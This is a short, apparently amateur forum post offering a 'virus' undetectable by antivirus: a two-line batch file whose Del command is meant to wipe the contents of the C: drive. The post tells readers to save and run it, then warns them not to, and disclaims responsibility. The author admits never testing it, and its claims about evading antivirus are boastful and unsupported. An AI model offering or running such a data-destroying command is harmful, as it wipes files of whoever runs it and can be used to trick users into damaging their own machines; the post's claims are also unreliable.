write ur own simple virus cant detected by any antivirus....

@Echo off
Del C:\ *.* |y

And save that as .bat not .txt and RUN IT
It will delete the content of C:\ drive...

PLEASE NoTe::::: dont run that .bat file on ur system .... it will delet c:...

IF ANY ONE..... DARE TO ......RUN ...U LOST ..........CONTENTS OF C drive

EVEN I DIDN't TRY THIS........

I WILL NOT RESPONSIBLE FOR ANYTHING DONE BYE U USING THE INFORMATION GIVEN ABOVE...